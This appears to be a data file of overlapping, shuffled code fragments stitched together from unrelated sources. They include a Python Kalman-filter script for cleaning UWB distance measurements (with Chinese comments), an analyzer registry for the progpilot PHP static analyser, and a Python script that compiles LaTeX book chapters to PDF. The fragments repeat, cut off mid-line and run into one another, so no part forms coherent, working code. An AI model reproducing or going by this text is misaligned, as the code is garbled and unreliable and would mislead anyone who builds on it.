j],", "xhat[k] = xhatminus[k] + K[k] * (z[k] - H *", "H = 1 for k in range(1, n_iter): # time", "(n_iter,) # size of array # Q = 1e-5 #", "# dialect为打开csv文件的方式,默认是excel,delimiter=\"\\t\"参数指写入的时候的分隔符 csvwriter = csv.writer(datacsv, dialect=(\"excel\")) # csv文件插入一行数据,把下面列表中的每一项放入一个单元格(可以用循环插入多行) csvwriter.writerow([\"Number\", \"A0\",", "325): file_path = f\"./data/附件1:UWB数据集/{kind}数据/{i}.{kind}.txt\" original_data, final_processed_data = data_process(file_path) save_data(f\"cleaned_data/{kind}数据/{i}.{kind}.csv\", final_processed_data)", "# measurement update K[k] = Pminus[k] / (Pminus[k] + R)", "= (1 - Kg(k)H)P(k|k-1), H=1 return xhat def data_process(file_path: str):", "- device_std * thre # 去除离群点 high_thre = device_mean +", "j in range(len(device_data[i, :])): if device_data[i, j] < low_thre[i] or", "for i in range(int(data_num)): measure = [] for j in", "measurement update K[k] = Pminus[k] / (Pminus[k] + R) #", "import csv import re import numpy as np thre =", "= np.zeros(sz) # a priori estimate of x Pminus =", "A * xhat[k - 1] # X(k|k-1) = AX(k-1|k-1) +", "estimate of x Pminus = np.zeros(sz) # a priori error", "x P = np.zeros(sz) # a posteri error estimate xhatminus", "in range(1, 325): file_path = f\"./data/附件1:UWB数据集/{kind}数据/{i}.{kind}.txt\" original_data, final_processed_data = data_process(file_path)", "csv文件插入一行数据,把下面列表中的每一项放入一个单元格(可以用循环插入多行) csvwriter.writerow([\"Number\", \"A0\", \"A1\", \"A2\", \"A3\"]) csvwriter.writerows(np.column_stack((np.arange(Measures.shape[1]), Measures.T)), ) def", "= X(k|k-1) + Kg(k)[Z(k) - HX(k|k-1)], H=1 P[k] = (1", "< -0.1: raise ValueError(\"数据数量不对!\") initial_time = re.search(\":.*:([0-9]*)\", data[0], flags=0) #", "AP(k-1|k-1)A' + Q(k) ,A=1 # measurement update K[k] = Pminus[k]", "raw_data = processed_device_data[i] xhat.append(KalmanFilter(raw_data, n_iter=len(raw_data))) xhat = np.array(xhat) xhat =", "\"A0\", \"A1\", \"A2\", \"A3\"]) csvwriter.writerows(np.column_stack((np.arange(Measures.shape[1]), Measures.T)), ) def collect_dataset(kind): for", "len(data) / 4 if int(data_num) - data_num < -0.1: raise", "H=1 P[k] = (1 - K[k] * H) * Pminus[k]", "device_data_x = [] for i in range(4): device_data.append(Measures[:, i, 2])", "R) # Kg(k)=P(k|k-1)H'/[HP(k|k-1)H' + R],H=1 xhat[k] = xhatminus[k] + K[k]", "flags=0) device.extend([int(anchor.group(3)) - initial_time, anchor.group(1), anchor.group(2)]) # 获取数据序号、设备号、测量值 device =", "estimate of measurement variance, change to see effect # intial", "if int(data_num) - data_num < -0.1: raise ValueError(\"数据数量不对!\") initial_time =", "HX(k|k-1)], H=1 P[k] = (1 - K[k] * H) *", "np.zeros(sz) # a priori error estimate K = np.zeros(sz) #", "data_num = len(data) / 4 if int(data_num) - data_num <", "= 1e-6 # process variance # allocate space for arrays", "= Pminus[k] / (Pminus[k] + R) # Kg(k)=P(k|k-1)H'/[HP(k|k-1)H' + R],H=1", "np.zeros(sz) # a posteri error estimate xhatminus = np.zeros(sz) #", "of x P = np.zeros(sz) # a posteri error estimate", "np.max(Measures[:, i, 2])) # 最大值归一化 normalized_device_data_x = device_data_x normalized_device_data =", "normalized_device_data = np.array(normalized_device_data) normalized_device_data_x = np.array(normalized_device_data_x) device_data = np.array(device_data) device_data_x", "Kg(k)=P(k|k-1)H'/[HP(k|k-1)H' + R],H=1 xhat[k] = xhatminus[k] + K[k] * (z[k]", "Kg(k)[Z(k) - HX(k|k-1)], H=1 P[k] = (1 - K[k] *", "K[k] * H) * Pminus[k] # P(k|k) = (1 -", "> high_thre[i]: processed_device_data[i, j] = device_mean[i] xhat = [] for", "X(k|k-1) = AX(k-1|k-1) + BU(k) + W(k),A=1,BU(k) = 0 Pminus[k]", "这里是假设A=1,H=1的情况 # intial parameters sz = (n_iter,) # size of", "= xhatminus[k] + K[k] * (z[k] - H * xhatminus[k])", "re import numpy as np thre = 1.5 # 要调整的参数,这个是阈值", "raise ValueError(\"数据数量不对!\") initial_time = re.search(\":.*:([0-9]*)\", data[0], flags=0) # 获取初始数据序列 initial_time", "import re import numpy as np thre = 1.5 #", "blending factor R = 0.015 ** 2 # estimate of", "device_data.append(Measures[:, i, 2]) device_data_x.append(np.arange(len(Measures[:, i, 2]))) normalized_device_data.append(device_data[i] / np.max(Measures[:, i,", "要调整的参数,这个是阈值 iteration_num = 2 # 要调整的参数,这个是迭代次数 def KalmanFilter(z, n_iter=20): #", "xhat def data_process(file_path: str): with open(file_path, \"r\") as f: #", "thre # 去除离群点 high_thre = device_mean + device_std * thre", "= np.std(device_data, axis=1) low_thre = device_mean - device_std * thre", "or device_data[i, j] > high_thre[i]: processed_device_data[i, j] = device_mean[i] xhat", "i + j], flags=0) device.extend([int(anchor.group(3)) - initial_time, anchor.group(1), anchor.group(2)]) #", "measure = [] for j in range(4): device = []", "= device_mean[i] xhat = [] for i in range(4): #", "= 0.0 P[0] = 1.0 A = 1 H =", "Pminus = np.zeros(sz) # a priori error estimate K =", "anchor.group(2)]) # 获取数据序号、设备号、测量值 device = list(map(int, device)) measure.append(device) # 一个measure就是四个设备拿到的四份数据", "= [] normalized_device_data_x = [] device_data = [] device_data_x =", "i in range(4): for j in range(len(device_data[i, :])): if device_data[i,", "xhatminus = np.zeros(sz) # a priori estimate of x Pminus", "W(k),A=1,BU(k) = 0 Pminus[k] = A * P[k - 1]", "device = [] anchor = re.search(\":[0-9]*?:RR:0:([0-9]):[0-9]*?:([0-9]*?):[0-9]*?:([0-9]*)\", data[4 * i +", "f\"./data/附件1:UWB数据集/{kind}数据/{i}.{kind}.txt\" original_data, final_processed_data = data_process(file_path) save_data(f\"cleaned_data/{kind}数据/{i}.{kind}.csv\", final_processed_data) def collect_labels(): pass", "xhatminus[k]) # X(k|k) = X(k|k-1) + Kg(k)[Z(k) - HX(k|k-1)], H=1", "np.mean(device_data, axis=1) device_std = np.std(device_data, axis=1) low_thre = device_mean -", "np.array(device_data) device_data_x = np.array(device_data_x) processed_device_data = np.array(device_data).copy() device_mean = np.mean(device_data,", "newline=\"\") as datacsv: # dialect为打开csv文件的方式,默认是excel,delimiter=\"\\t\"参数指写入的时候的分隔符 csvwriter = csv.writer(datacsv, dialect=(\"excel\")) #", "device = list(map(int, device)) measure.append(device) # 一个measure就是四个设备拿到的四份数据 Measures.append(measure) Measures =", "in range(len(device_data[i, :])): if device_data[i, j] < low_thre[i] or device_data[i,", "data[4 * i + j], flags=0) device.extend([int(anchor.group(3)) - initial_time, anchor.group(1),", "for i in range(4): # raw_data = device_data[i] raw_data =", "j], flags=0) device.extend([int(anchor.group(3)) - initial_time, anchor.group(1), anchor.group(2)]) # 获取数据序号、设备号、测量值 device", "device_data = np.array(device_data) device_data_x = np.array(device_data_x) processed_device_data = np.array(device_data).copy() device_mean", "P = np.zeros(sz) # a posteri error estimate xhatminus =", "thre = 1.5 # 要调整的参数,这个是阈值 iteration_num = 2 # 要调整的参数,这个是迭代次数", "_ in range(iteration_num): for i in range(4): for j in", "csv import re import numpy as np thre = 1.5", "data_process(file_path: str): with open(file_path, \"r\") as f: # 打开文件 f.readline()", "2]) device_data_x.append(np.arange(len(Measures[:, i, 2]))) normalized_device_data.append(device_data[i] / np.max(Measures[:, i, 2])) #", "posteri error estimate xhatminus = np.zeros(sz) # a priori estimate", "R = 0.015 ** 2 # estimate of measurement variance,", "= np.array(normalized_device_data_x) device_data = np.array(device_data) device_data_x = np.array(device_data_x) processed_device_data =", "data_process(file_path) save_data(f\"cleaned_data/{kind}数据/{i}.{kind}.csv\", final_processed_data) def collect_labels(): pass if __name__ == '__main__':", "# csv文件插入一行数据,把下面列表中的每一项放入一个单元格(可以用循环插入多行) csvwriter.writerow([\"Number\", \"A0\", \"A1\", \"A2\", \"A3\"]) csvwriter.writerows(np.column_stack((np.arange(Measures.shape[1]), Measures.T)), )", "[] for i in range(4): device_data.append(Measures[:, i, 2]) device_data_x.append(np.arange(len(Measures[:, i,", "time update xhatminus[k] = A * xhat[k - 1] #", "# time update xhatminus[k] = A * xhat[k - 1]", "Measures = [] for i in range(int(data_num)): measure = []", "in range(4): device_data.append(Measures[:, i, 2]) device_data_x.append(np.arange(len(Measures[:, i, 2]))) normalized_device_data.append(device_data[i] /", "return xhat def data_process(file_path: str): with open(file_path, \"r\") as f:", "* thre # 去除离群点 high_thre = device_mean + device_std *", "- 1] + Q # P(k|k-1) = AP(k-1|k-1)A' + Q(k)", "k in range(1, n_iter): # time update xhatminus[k] = A", "[] normalized_device_data_x = [] device_data = [] device_data_x = []", "# 去除离群点 for _ in range(iteration_num): for i in range(4):", "update K[k] = Pminus[k] / (Pminus[k] + R) # Kg(k)=P(k|k-1)H'/[HP(k|k-1)H'", "= 0.015 ** 2 # estimate of measurement variance, change", "device_mean[i] xhat = [] for i in range(4): # raw_data", "= np.zeros(sz) # gain or blending factor R = 0.015", "thre # 去除离群点 for _ in range(iteration_num): for i in", "H * xhatminus[k]) # X(k|k) = X(k|k-1) + Kg(k)[Z(k) -", "normalized_device_data_x = np.array(normalized_device_data_x) device_data = np.array(device_data) device_data_x = np.array(device_data_x) processed_device_data", "change to see effect # intial guesses xhat[0] = 0.0", "# 去掉第一行 data = f.readlines() # 读取文件 data_num = len(data)", "= (n_iter,) # size of array # Q = 1e-5", "space for arrays xhat = np.zeros(sz) # a posteri estimate", "i, 2]))) normalized_device_data.append(device_data[i] / np.max(Measures[:, i, 2])) # 最大值归一化 normalized_device_data_x", "device_data = [] device_data_x = [] for i in range(4):", "device_std * thre # 去除离群点 for _ in range(iteration_num): for", "factor R = 0.015 ** 2 # estimate of measurement", "processed_device_data[i] xhat.append(KalmanFilter(raw_data, n_iter=len(raw_data))) xhat = np.array(xhat) xhat = np.around(xhat, 1)", "= np.array(xhat) xhat = np.around(xhat, 1) # 将滤波后的四组坐标值,保留一位小数 return device_data,", "see effect # intial guesses xhat[0] = 0.0 P[0] =", "as datacsv: # dialect为打开csv文件的方式,默认是excel,delimiter=\"\\t\"参数指写入的时候的分隔符 csvwriter = csv.writer(datacsv, dialect=(\"excel\")) # csv文件插入一行数据,把下面列表中的每一项放入一个单元格(可以用循环插入多行)", "device_data_x.append(np.arange(len(Measures[:, i, 2]))) normalized_device_data.append(device_data[i] / np.max(Measures[:, i, 2])) # 最大值归一化", "np.around(xhat, 1) # 将滤波后的四组坐标值,保留一位小数 return device_data, xhat # device_data为原始数据,xhat是离群点去除且卡尔曼滤波后的数据 def", "读取文件 data_num = len(data) / 4 if int(data_num) - data_num", "open(file_path, \"r\") as f: # 打开文件 f.readline() # 去掉第一行 data", "1e-6 # process variance # allocate space for arrays xhat", "device_std * thre # 去除离群点 high_thre = device_mean + device_std", "2])) # 最大值归一化 normalized_device_data_x = device_data_x normalized_device_data = np.array(normalized_device_data) normalized_device_data_x", "xhat[0] = 0.0 P[0] = 1.0 A = 1 H", "np.zeros(sz) # a priori estimate of x Pminus = np.zeros(sz)", "device.extend([int(anchor.group(3)) - initial_time, anchor.group(1), anchor.group(2)]) # 获取数据序号、设备号、测量值 device = list(map(int,", "anchor.group(1), anchor.group(2)]) # 获取数据序号、设备号、测量值 device = list(map(int, device)) measure.append(device) #", "device_data[i] raw_data = processed_device_data[i] xhat.append(KalmanFilter(raw_data, n_iter=len(raw_data))) xhat = np.array(xhat) xhat", "/ 4 if int(data_num) - data_num < -0.1: raise ValueError(\"数据数量不对!\")", "np.array(xhat) xhat = np.around(xhat, 1) # 将滤波后的四组坐标值,保留一位小数 return device_data, xhat", "int(data_num) - data_num < -0.1: raise ValueError(\"数据数量不对!\") initial_time = re.search(\":.*:([0-9]*)\",", "csvwriter.writerows(np.column_stack((np.arange(Measures.shape[1]), Measures.T)), ) def collect_dataset(kind): for i in range(1, 325):", "# process variance Q = 1e-6 # process variance #", "获取数据序号、设备号、测量值 device = list(map(int, device)) measure.append(device) # 一个measure就是四个设备拿到的四份数据 Measures.append(measure) Measures", "device_data_x normalized_device_data = np.array(normalized_device_data) normalized_device_data_x = np.array(normalized_device_data_x) device_data = np.array(device_data)", "= csv.writer(datacsv, dialect=(\"excel\")) # csv文件插入一行数据,把下面列表中的每一项放入一个单元格(可以用循环插入多行) csvwriter.writerow([\"Number\", \"A0\", \"A1\", \"A2\", \"A3\"])", "= 1.0 A = 1 H = 1 for k", "for i in range(4): device_data.append(Measures[:, i, 2]) device_data_x.append(np.arange(len(Measures[:, i, 2])))", "1e-5 # process variance Q = 1e-6 # process variance", "variance # allocate space for arrays xhat = np.zeros(sz) #", "* thre # 去除离群点 for _ in range(iteration_num): for i", "range(iteration_num): for i in range(4): for j in range(len(device_data[i, :])):", "# a priori estimate of x Pminus = np.zeros(sz) #", "= np.array(normalized_device_data) normalized_device_data_x = np.array(normalized_device_data_x) device_data = np.array(device_data) device_data_x =", "# 最大值归一化 normalized_device_data_x = device_data_x normalized_device_data = np.array(normalized_device_data) normalized_device_data_x =", "Q = 1e-6 # process variance # allocate space for", "= f.readlines() # 读取文件 data_num = len(data) / 4 if", "high_thre[i]: processed_device_data[i, j] = device_mean[i] xhat = [] for i", "= device_data_x normalized_device_data = np.array(normalized_device_data) normalized_device_data_x = np.array(normalized_device_data_x) device_data =", "= np.mean(device_data, axis=1) device_std = np.std(device_data, axis=1) low_thre = device_mean", "dialect=(\"excel\")) # csv文件插入一行数据,把下面列表中的每一项放入一个单元格(可以用循环插入多行) csvwriter.writerow([\"Number\", \"A0\", \"A1\", \"A2\", \"A3\"]) csvwriter.writerows(np.column_stack((np.arange(Measures.shape[1]), Measures.T)),", "\"A1\", \"A2\", \"A3\"]) csvwriter.writerows(np.column_stack((np.arange(Measures.shape[1]), Measures.T)), ) def collect_dataset(kind): for i", "in range(4): device = [] anchor = re.search(\":[0-9]*?:RR:0:([0-9]):[0-9]*?:([0-9]*?):[0-9]*?:([0-9]*)\", data[4 *", "device_data, xhat # device_data为原始数据,xhat是离群点去除且卡尔曼滤波后的数据 def save_data(file_path: str, Measures): with open(file_path,", "a priori estimate of x Pminus = np.zeros(sz) # a", "= AX(k-1|k-1) + BU(k) + W(k),A=1,BU(k) = 0 Pminus[k] =", "xhat # device_data为原始数据,xhat是离群点去除且卡尔曼滤波后的数据 def save_data(file_path: str, Measures): with open(file_path, \"w+\",", "xhatminus[k] = A * xhat[k - 1] # X(k|k-1) =", "= np.zeros(sz) # a posteri error estimate xhatminus = np.zeros(sz)", "A * P[k - 1] + Q # P(k|k-1) =", "n_iter=20): # 卡尔曼滤波 # 这里是假设A=1,H=1的情况 # intial parameters sz =", "of array # Q = 1e-5 # process variance Q", "/ np.max(Measures[:, i, 2])) # 最大值归一化 normalized_device_data_x = device_data_x normalized_device_data", "= int(initial_time.group(1)) Measures = [] for i in range(int(data_num)): measure", "2]))) normalized_device_data.append(device_data[i] / np.max(Measures[:, i, 2])) # 最大值归一化 normalized_device_data_x =", "save_data(file_path: str, Measures): with open(file_path, \"w+\", newline=\"\") as datacsv: #", "+ device_std * thre # 去除离群点 for _ in range(iteration_num):", "final_processed_data) def collect_labels(): pass if __name__ == '__main__': collect_dataset(\"正常\") collect_dataset(\"异常\")", "获取初始数据序列 initial_time = int(initial_time.group(1)) Measures = [] for i in", "for _ in range(iteration_num): for i in range(4): for j", "Pminus[k] # P(k|k) = (1 - Kg(k)H)P(k|k-1), H=1 return xhat", "estimate K = np.zeros(sz) # gain or blending factor R", "AX(k-1|k-1) + BU(k) + W(k),A=1,BU(k) = 0 Pminus[k] = A", "去除离群点 high_thre = device_mean + device_std * thre # 去除离群点", "0 Pminus[k] = A * P[k - 1] + Q", "2 # estimate of measurement variance, change to see effect", "# estimate of measurement variance, change to see effect #", "# Q = 1e-5 # process variance Q = 1e-6", "gain or blending factor R = 0.015 ** 2 #", "* xhatminus[k]) # X(k|k) = X(k|k-1) + Kg(k)[Z(k) - HX(k|k-1)],", "= 1.5 # 要调整的参数,这个是阈值 iteration_num = 2 # 要调整的参数,这个是迭代次数 def", "+ Kg(k)[Z(k) - HX(k|k-1)], H=1 P[k] = (1 - K[k]", "= np.zeros(sz) # a priori error estimate K = np.zeros(sz)", "priori error estimate K = np.zeros(sz) # gain or blending", "Q(k) ,A=1 # measurement update K[k] = Pminus[k] / (Pminus[k]", "# 将滤波后的四组坐标值,保留一位小数 return device_data, xhat # device_data为原始数据,xhat是离群点去除且卡尔曼滤波后的数据 def save_data(file_path: str,", "device_data为原始数据,xhat是离群点去除且卡尔曼滤波后的数据 def save_data(file_path: str, Measures): with open(file_path, \"w+\", newline=\"\") as", "# allocate space for arrays xhat = np.zeros(sz) # a", "= A * P[k - 1] + Q # P(k|k-1)", "H) * Pminus[k] # P(k|k) = (1 - Kg(k)H)P(k|k-1), H=1", "[] device_data_x = [] for i in range(4): device_data.append(Measures[:, i,", "initial_time = re.search(\":.*:([0-9]*)\", data[0], flags=0) # 获取初始数据序列 initial_time = int(initial_time.group(1))", "- K[k] * H) * Pminus[k] # P(k|k) = (1", "range(len(device_data[i, :])): if device_data[i, j] < low_thre[i] or device_data[i, j]", "- 1] # X(k|k-1) = AX(k-1|k-1) + BU(k) + W(k),A=1,BU(k)", "- HX(k|k-1)], H=1 P[k] = (1 - K[k] * H)", "np.array(device_data_x) processed_device_data = np.array(device_data).copy() device_mean = np.mean(device_data, axis=1) device_std =", "original_data, final_processed_data = data_process(file_path) save_data(f\"cleaned_data/{kind}数据/{i}.{kind}.csv\", final_processed_data) def collect_labels(): pass if", "range(1, n_iter): # time update xhatminus[k] = A * xhat[k", "= np.array(device_data) device_data_x = np.array(device_data_x) processed_device_data = np.array(device_data).copy() device_mean =", "in range(4): for j in range(len(device_data[i, :])): if device_data[i, j]", "open(file_path, \"w+\", newline=\"\") as datacsv: # dialect为打开csv文件的方式,默认是excel,delimiter=\"\\t\"参数指写入的时候的分隔符 csvwriter = csv.writer(datacsv,", "(1 - K[k] * H) * Pminus[k] # P(k|k) =", "variance Q = 1e-6 # process variance # allocate space", "最大值归一化 normalized_device_data_x = device_data_x normalized_device_data = np.array(normalized_device_data) normalized_device_data_x = np.array(normalized_device_data_x)", "numpy as np thre = 1.5 # 要调整的参数,这个是阈值 iteration_num =", "\"A3\"]) csvwriter.writerows(np.column_stack((np.arange(Measures.shape[1]), Measures.T)), ) def collect_dataset(kind): for i in range(1,", "iteration_num = 2 # 要调整的参数,这个是迭代次数 def KalmanFilter(z, n_iter=20): # 卡尔曼滤波", "csv.writer(datacsv, dialect=(\"excel\")) # csv文件插入一行数据,把下面列表中的每一项放入一个单元格(可以用循环插入多行) csvwriter.writerow([\"Number\", \"A0\", \"A1\", \"A2\", \"A3\"]) csvwriter.writerows(np.column_stack((np.arange(Measures.shape[1]),", "# a priori error estimate K = np.zeros(sz) # gain", "in range(4): # raw_data = device_data[i] raw_data = processed_device_data[i] xhat.append(KalmanFilter(raw_data,", "np.array(normalized_device_data) normalized_device_data_x = np.array(normalized_device_data_x) device_data = np.array(device_data) device_data_x = np.array(device_data_x)", "device_data_x = np.array(device_data_x) processed_device_data = np.array(device_data).copy() device_mean = np.mean(device_data, axis=1)", "+ Q(k) ,A=1 # measurement update K[k] = Pminus[k] /", "= np.zeros(sz) # a posteri estimate of x P =", "* xhat[k - 1] # X(k|k-1) = AX(k-1|k-1) + BU(k)", "[] for j in range(4): device = [] anchor =", "Measures.T)), ) def collect_dataset(kind): for i in range(1, 325): file_path", "K[k] = Pminus[k] / (Pminus[k] + R) # Kg(k)=P(k|k-1)H'/[HP(k|k-1)H' +", "priori estimate of x Pminus = np.zeros(sz) # a priori", "1] + Q # P(k|k-1) = AP(k-1|k-1)A' + Q(k) ,A=1", "def data_process(file_path: str): with open(file_path, \"r\") as f: # 打开文件", "BU(k) + W(k),A=1,BU(k) = 0 Pminus[k] = A * P[k", "np.std(device_data, axis=1) low_thre = device_mean - device_std * thre #", "= device_data[i] raw_data = processed_device_data[i] xhat.append(KalmanFilter(raw_data, n_iter=len(raw_data))) xhat = np.array(xhat)", "= [] for i in range(4): device_data.append(Measures[:, i, 2]) device_data_x.append(np.arange(len(Measures[:,", "device_mean + device_std * thre # 去除离群点 for _ in", "4 if int(data_num) - data_num < -0.1: raise ValueError(\"数据数量不对!\") initial_time", "or blending factor R = 0.015 ** 2 # estimate", "low_thre = device_mean - device_std * thre # 去除离群点 high_thre", "measure.append(device) # 一个measure就是四个设备拿到的四份数据 Measures.append(measure) Measures = np.array(Measures) # Measures是三维数组是获取的所有测量数据 normalized_device_data", "A = 1 H = 1 for k in range(1,", "device_data[i, j] > high_thre[i]: processed_device_data[i, j] = device_mean[i] xhat =", "range(int(data_num)): measure = [] for j in range(4): device =", ",A=1 # measurement update K[k] = Pminus[k] / (Pminus[k] +", "= re.search(\":.*:([0-9]*)\", data[0], flags=0) # 获取初始数据序列 initial_time = int(initial_time.group(1)) Measures", ") def collect_dataset(kind): for i in range(1, 325): file_path =", "+ K[k] * (z[k] - H * xhatminus[k]) # X(k|k)", "1 for k in range(1, n_iter): # time update xhatminus[k]", "Q = 1e-5 # process variance Q = 1e-6 #", "a priori error estimate K = np.zeros(sz) # gain or", "i in range(4): # raw_data = device_data[i] raw_data = processed_device_data[i]", "for j in range(4): device = [] anchor = re.search(\":[0-9]*?:RR:0:([0-9]):[0-9]*?:([0-9]*?):[0-9]*?:([0-9]*)\",", "(Pminus[k] + R) # Kg(k)=P(k|k-1)H'/[HP(k|k-1)H' + R],H=1 xhat[k] = xhatminus[k]", "low_thre[i] or device_data[i, j] > high_thre[i]: processed_device_data[i, j] = device_mean[i]", "Measures = np.array(Measures) # Measures是三维数组是获取的所有测量数据 normalized_device_data = [] normalized_device_data_x =", "= 0 Pminus[k] = A * P[k - 1] +", "= np.array(device_data_x) processed_device_data = np.array(device_data).copy() device_mean = np.mean(device_data, axis=1) device_std", "* H) * Pminus[k] # P(k|k) = (1 - Kg(k)H)P(k|k-1),", "estimate xhatminus = np.zeros(sz) # a priori estimate of x", "+ R) # Kg(k)=P(k|k-1)H'/[HP(k|k-1)H' + R],H=1 xhat[k] = xhatminus[k] +", "+ BU(k) + W(k),A=1,BU(k) = 0 Pminus[k] = A *", "re.search(\":.*:([0-9]*)\", data[0], flags=0) # 获取初始数据序列 initial_time = int(initial_time.group(1)) Measures =", "xhat = np.around(xhat, 1) # 将滤波后的四组坐标值,保留一位小数 return device_data, xhat #", "# X(k|k) = X(k|k-1) + Kg(k)[Z(k) - HX(k|k-1)], H=1 P[k]", "normalized_device_data = [] normalized_device_data_x = [] device_data = [] device_data_x", "K[k] * (z[k] - H * xhatminus[k]) # X(k|k) =", "# 打开文件 f.readline() # 去掉第一行 data = f.readlines() # 读取文件", "要调整的参数,这个是迭代次数 def KalmanFilter(z, n_iter=20): # 卡尔曼滤波 # 这里是假设A=1,H=1的情况 # intial", "flags=0) # 获取初始数据序列 initial_time = int(initial_time.group(1)) Measures = [] for", "P[k - 1] + Q # P(k|k-1) = AP(k-1|k-1)A' +", "= processed_device_data[i] xhat.append(KalmanFilter(raw_data, n_iter=len(raw_data))) xhat = np.array(xhat) xhat = np.around(xhat,", "datacsv: # dialect为打开csv文件的方式,默认是excel,delimiter=\"\\t\"参数指写入的时候的分隔符 csvwriter = csv.writer(datacsv, dialect=(\"excel\")) # csv文件插入一行数据,把下面列表中的每一项放入一个单元格(可以用循环插入多行) csvwriter.writerow([\"Number\",", "= AP(k-1|k-1)A' + Q(k) ,A=1 # measurement update K[k] =", "csvwriter = csv.writer(datacsv, dialect=(\"excel\")) # csv文件插入一行数据,把下面列表中的每一项放入一个单元格(可以用循环插入多行) csvwriter.writerow([\"Number\", \"A0\", \"A1\", \"A2\",", "0.0 P[0] = 1.0 A = 1 H = 1", "process variance Q = 1e-6 # process variance # allocate", "measurement variance, change to see effect # intial guesses xhat[0]", "R],H=1 xhat[k] = xhatminus[k] + K[k] * (z[k] - H", "for i in range(4): for j in range(len(device_data[i, :])): if", "data = f.readlines() # 读取文件 data_num = len(data) / 4", "[] device_data = [] device_data_x = [] for i in" ]
[ "'phpanalyzer', 'class' : ProgpilotAnalyzer, 'language' : 'all', 'issues_data' : issues_data,", ": ProgpilotAnalyzer, 'language' : 'all', 'issues_data' : issues_data, }, }", "from .analyzer import ProgpilotAnalyzer from .issues_data import issues_data analyzers =", "issues_data analyzers = { 'phpanlyzer' : { 'name' : 'phpanalyzer',", "import ProgpilotAnalyzer from .issues_data import issues_data analyzers = { 'phpanlyzer'", "from .issues_data import issues_data analyzers = { 'phpanlyzer' : {", "'title' : 'phpanalyzer', 'class' : ProgpilotAnalyzer, 'language' : 'all', 'issues_data'", ".analyzer import ProgpilotAnalyzer from .issues_data import issues_data analyzers = {", "{ 'name' : 'phpanalyzer', 'title' : 'phpanalyzer', 'class' : ProgpilotAnalyzer,", ": { 'name' : 'phpanalyzer', 'title' : 'phpanalyzer', 'class' :", "= { 'phpanlyzer' : { 'name' : 'phpanalyzer', 'title' :", "import issues_data analyzers = { 'phpanlyzer' : { 'name' :", ": 'phpanalyzer', 'title' : 'phpanalyzer', 'class' : ProgpilotAnalyzer, 'language' :", "'phpanlyzer' : { 'name' : 'phpanalyzer', 'title' : 'phpanalyzer', 'class'", "analyzers = { 'phpanlyzer' : { 'name' : 'phpanalyzer', 'title'", "'class' : ProgpilotAnalyzer, 'language' : 'all', 'issues_data' : issues_data, },", "{ 'phpanlyzer' : { 'name' : 'phpanalyzer', 'title' : 'phpanalyzer',", "ProgpilotAnalyzer from .issues_data import issues_data analyzers = { 'phpanlyzer' :", "<reponame>marcinguy/checkmate-ce<gh_stars>0 from .analyzer import ProgpilotAnalyzer from .issues_data import issues_data analyzers", "'phpanalyzer', 'title' : 'phpanalyzer', 'class' : ProgpilotAnalyzer, 'language' : 'all',", "'name' : 'phpanalyzer', 'title' : 'phpanalyzer', 'class' : ProgpilotAnalyzer, 'language'", ": 'phpanalyzer', 'class' : ProgpilotAnalyzer, 'language' : 'all', 'issues_data' :", ".issues_data import issues_data analyzers = { 'phpanlyzer' : { 'name'" ]
[ "trim_chap_name(cmd) if chap in book_sections: #chap is actually a section", "line = f.readline() if line[:6] != '%!Mode': section_text = '%!Mode::", "= '' with open(file_model) as model_file: model = model_file.read() model", "pdffile if not os.path.isfile(old_pdffile): return False pdf_mtime = os.path.getmtime(old_pdffile) #if", "in depend_files: if contain_citation(section): return True return False def gen_pdf(object_name):", "model = model.replace(\"\\\\tableofcontents\", \"%\\\\tableofcontents\") model = model.replace(\"ctexrep\", \"ctexart\") model =", "a section section = chap chap = 'Report' chap_sections[chap] =", "'.pdf' if os.path.isfile(chappdf): mergecmd += chappdf + ' ' mergecmd", "as f: f.write(latex_text) # os.system(\"xelatex \" + object_name) # if", "+ object_name) # os.system(\"xelatex \" + object_name) # # if", "file_bbl = object_name + \".bbl\" if not os.path.isfile(file_bbl): return \"\"", "model = model.replace(\"\\\\setcounter{chapter}\", \"%\\\\setcounter{chapter}\") else: model = model.replace(\"CHAPTERSTART\", str(chapter_start_counter)) insert_word", "latex_text + \"\\\\bibliographystyle{unsrt}\\n\" latex_text = latex_text + \"\\\\bibliography{thebib}\\n\" latex_text =", "if contain_citation(section): return True return False def gen_pdf(object_name): object_pdf =", "return \"\" with open(file_bbl, 'r') as f: return f.read() #if", "+ \".tex\" with open(object_tex, \"w\") as f: f.write(latex_text) # os.system(\"xelatex", "not re.match(\".*lmz0610.*\", section): sections.append(name + \"/\" + section) return sections", "for section in texfiles: if depend_modified(section, pdf_mtime): return False return", "citation command \\cite{} def contain_citation(section_name): with open(section_name, \"r\") as f:", "ims): depend_mtime = os.path.getmtime(fname) if depend_mtime > ims: print pdffile,", "object_name) # if old_bbl != read_bbl_file(object_name): # os.system(\"xelatex \" +", "name def merge_chapter_pdfs(): mergecmd = 'pdftk ' for chap in", "= model.replace(\"CHAPTERSTART\", \"0\") model = model.replace(\"\\\\tableofcontents\", \"%\\\\tableofcontents\") model = model.replace(\"ctexrep\",", "re.match(\".*lmz0610.*\", section): sections.append(name + \"/\" + section) return sections def", "model[insert_pos+len(insert_word):] object_tex = object_name + \".tex\" with open(object_tex, \"w\") as", "book_chapters: chappdf = folder_target + chap + '.pdf' if os.path.isfile(chappdf):", "'%!Mode': section_text = '%!Mode:: \"TeX:UTF-8\"\\n' + line + f.read() if", "texfiles): def depend_modified(fname, ims): depend_mtime = os.path.getmtime(fname) if depend_mtime >", "trim_chap_name(name): if name[len(name) - 1] == '/': name = name[:len(name)-1]", "chap_sections[chap] = sections book_sections.extend(sections) book_chapters.append(chap) cmd = \"one\" if cmd", "# if os.path.isfile(object_pdf): # for target in targets: # shutil.copy(object_pdf,", "# old_bbl = read_bbl_file(object_name) # os.system(\"bibtex \" + object_name) #", "= \"\" with open(section, 'r') as f: line = f.readline()", "= need_bibtex(object_name, depend_files) model = '' with open(file_model) as model_file:", "+ f.read() if section_text != \"\": with open(section, 'w') as", "= \"Model.template\" bookname = \"TechNotes\" file_bibtex = \"thebib.bib\" folder_target =", "if section_text != \"\": with open(section, 'w') as f: f.write(section_text)", "targets: # shutil.copy(object_pdf, target) return True #trim trailing slash def", "False for chap in chap_sections: modified = gen_pdf(chap) or modified", "depend_modified(fname, ims): depend_mtime = os.path.getmtime(fname) if depend_mtime > ims: print", "== bookname: depend_files = book_sections targets = [folder_target + object_pdf,", "return False obj_need_bibtex = need_bibtex(object_name, depend_files) model = '' with", "= latex_text + model[insert_pos+len(insert_word):] object_tex = object_name + \".tex\" with", "os.path.isfile(chappdf): mergecmd += chappdf + ' ' mergecmd += 'cat", "= \"thebib.bib\" folder_target = \"../pdf/\" #if name is a 